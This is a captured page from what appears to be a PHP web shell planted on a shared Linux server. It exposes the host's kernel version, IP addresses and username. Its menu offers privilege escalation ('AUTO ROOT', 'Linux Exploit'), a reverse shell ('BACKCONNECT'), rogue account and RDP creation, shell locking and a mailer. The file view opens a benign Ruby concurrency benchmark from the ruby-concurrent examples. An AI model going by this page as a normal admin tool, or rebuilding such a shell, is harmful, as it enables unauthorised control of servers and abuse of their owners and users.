Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ruby-concurrent /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
a-tour-of-go-channels
[ DIR ]
drwxr-xr-x
go-by-example-channels
[ DIR ]
drwxr-xr-x
actor_stress_test.rb
3.23
KB
-rwxr-xr-x
atomic_example.rb
392
B
-rwxr-xr-x
benchmark_async.rb
6.81
KB
-rwxr-xr-x
benchmark_atomic.rb
2.53
KB
-rwxr-xr-x
benchmark_atomic_1.rb
2.52
KB
-rwxr-xr-x
benchmark_atomic_boolean.rb
984
B
-rwxr-xr-x
benchmark_atomic_fixnum.rb
964
B
-rwxr-xr-x
benchmark_map.rb
581
B
-rwxr-xr-x
benchmark_new_futures.rb
2.16
KB
-rwxr-xr-x
benchmark_read_write_lock.rb
4.27
KB
-rwxr-xr-x
benchmark_structs.rb
4.66
KB
-rwxr-xr-x
format.rb
1.86
KB
-rw-r--r--
graph_atomic_bench.rb
1.73
KB
-rwxr-xr-x
init.rb
104
B
-rw-r--r--
stress_ruby_thread_pool.rb
791
B
-rwxr-xr-x
thread_local_memory_usage.rb
1.61
KB
-rwxr-xr-x
thread_local_var_bench.rb
606
B
-rwxr-xr-x
who.rb
711
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : thread_local_memory_usage.rb
#!/usr/bin/env ruby #$: << File.expand_path('../../lib', __FILE__) $DEBUG_TLV = true require 'concurrent' require 'concurrent/atomic/thread_local_var' require 'benchmark' require 'thread' include Concurrent # if we hold on to vars, but threads die, space used for TLVs should be recovered def test_thread_gc(vars) threads = 500.times.collect do Thread.new do vars.each do |var| var.value = 1 end end end threads.each(&:join) end puts "BEFORE THREAD GC TEST:" puts "Ruby heap pages: #{GC.stat[:heap_length]}, Other malloc'd bytes: #{GC.stat[:malloc_increase]}" vars = 500.times.collect { ThreadLocalVar.new(0) } 200.times do test_thread_gc(vars) GC.start end puts "AFTER THREAD GC TEST:" puts "Ruby heap pages: #{GC.stat[:heap_length]}, Other malloc'd bytes: #{GC.stat[:malloc_increase]}" # if we hold on to threads, but drop TLVs, space used should be reused by allocated TLVs def tlv_gc_test_loop(queue) while true var = queue.pop return if var.nil? var.value = 1 end end def test_tlv_gc(queues) 500.times do var = ThreadLocalVar.new(0) queues.each { |q| q << var } end end puts puts "BEFORE TLV GC TEST:" puts "Ruby heap pages: #{GC.stat[:heap_length]}, Other malloc'd bytes: #{GC.stat[:malloc_increase]}" queues = 500.times.collect { Queue.new } threads = queues.map do |queue| Thread.new do tlv_gc_test_loop(queue) end end 200.times do test_tlv_gc(queues) GC.start end queues.each { |q| q << nil } threads.each(&:join) puts "AFTER TLV GC TEST:" puts "Ruby heap pages: #{GC.stat[:heap_length]}, Other malloc'd bytes: #{GC.stat[:malloc_increase]}"
Close